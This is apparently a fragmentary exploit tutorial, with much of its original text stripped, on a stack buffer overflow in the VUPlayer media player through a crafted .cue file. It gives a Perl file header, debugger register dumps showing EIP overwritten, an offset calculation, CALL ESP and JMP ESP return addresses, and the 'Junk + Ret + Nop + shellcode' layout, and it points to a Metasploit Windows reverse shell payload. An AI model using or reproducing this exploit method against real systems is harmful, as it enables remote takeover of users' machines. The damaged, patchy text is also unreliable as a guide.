stack buffer overflow

universall


vuplayer

http://vuplayer.com/files/vuplayersetup.exe

ollydbg

http://www.ollydbg.de/

----
------ .cue
------

:

my $header1=
"\x46\x49\x4c\x45\x20\x22";
my $header2=
"\x2e\x42\x49\x4e\x22\x20\x42\x49\x4e\x41\x52\x59\x0d\x0a\x20".
"\x54\x52\x41\x43\x4b\x20\x30\x31\x20\x4d\x4f\x44\x45\x31\x2f\x32".
"\x33\x35\x32\x0d\x0a\x20\x20\x20\x49\x4e\x44\x45\x58\x20\x30\x31".
"\x20\x30\x30\x3a\x30\x30\x3a\x30\x30";

----

-----

 Junk bof
1000
--
:

run shift + F9

---- eip
EAX 00000000
ECX 41414141
EDX 00B9FCC8
EBX 00000001
ESP 0012E5C0 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAA
EBP 41414141
ESI 0050B460 VUPlayer.0050B460
EDI 0012EAD4 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAA
EIP 41414141

Junk + Ret + Nop + shellcode

Junk =
Ret=
Nop = No operation
shellcode =
google.com

md5
php
<?php
for($i=0;$i<=1000;$i++){
echo md5($i);
}
?>

------

---
EAX 00000000
ECX 30323335
EDX 00B98FB8
EBX 00000001
ESP 0012E5C0 ASCII "fd356ef56364d3f0f495b6ab9dcf8d3b5c6e0b01182be0c5cdcd5072bb18
64cdee4d3d6ee369853df766fa44e1ed0ff613f563bd1c383cd30b7c298ab50293adfecb7b1819ca
14e7ea6328a42e0eb13d585e4c22a5bfc9e07964f8dddeb95fc584cd965da5771bce93e200c36f7c
d9dfd0e5deaad6
EBP 38353964
ESI 0050B460 VUPlayer.0050B460
EDI 0012EAD4 ASCII "ab5298d5da10fe66f21dd2ddea18f00665ce8623e36bd4e3c7c5ad61ab14
3223efbc24c7d2583be69251d09bf41544a3365a46c9077ebb5e35c3fbd7939d674997cdb4692d34
de8633c428dd2c7955ce926456240b2ff0100bde35f4a8d465e6e1edc05f3d8ab658c551d1fe173d
08e959397adf34
EIP 34336333
34336333
----

http://home2.paulschou.net/tools/xlate/
34336333
33633334
3c34

esp
8 12

1016

1016- 4 = 1012
---

----



Junk + Ret + Nop + shellcode

.....
--- metasploit.com



Alphanum
----- 42424242

---
42424242


kernel32.dll
call esp
:d
7C82385D

FFD4

CALL ESP

7C82385D


5D 38 82 7C
----

--------
SP 2 FR / EN


------ .dll
.cab .arv. ocx

kernel32.dll
call esp jmp esp

call esp

100218DF

FFD4

CALL ESP

-------

jmp esp
1010539F

FFE4

JMP ESP

"\x9F\x53\x10\x10"

-------

Windows Reverse Shell


LHOST

Required

ADDR


LPORT

Required

PORT

------

Stack
FOR
www.v4-Team.com
sec-r1z.com
www.sysworm.com

Hod - simo64 - Issam - Hsmx - Jadi - G0r - Room-Hacker - Djekmani


Mr.Safa7

stack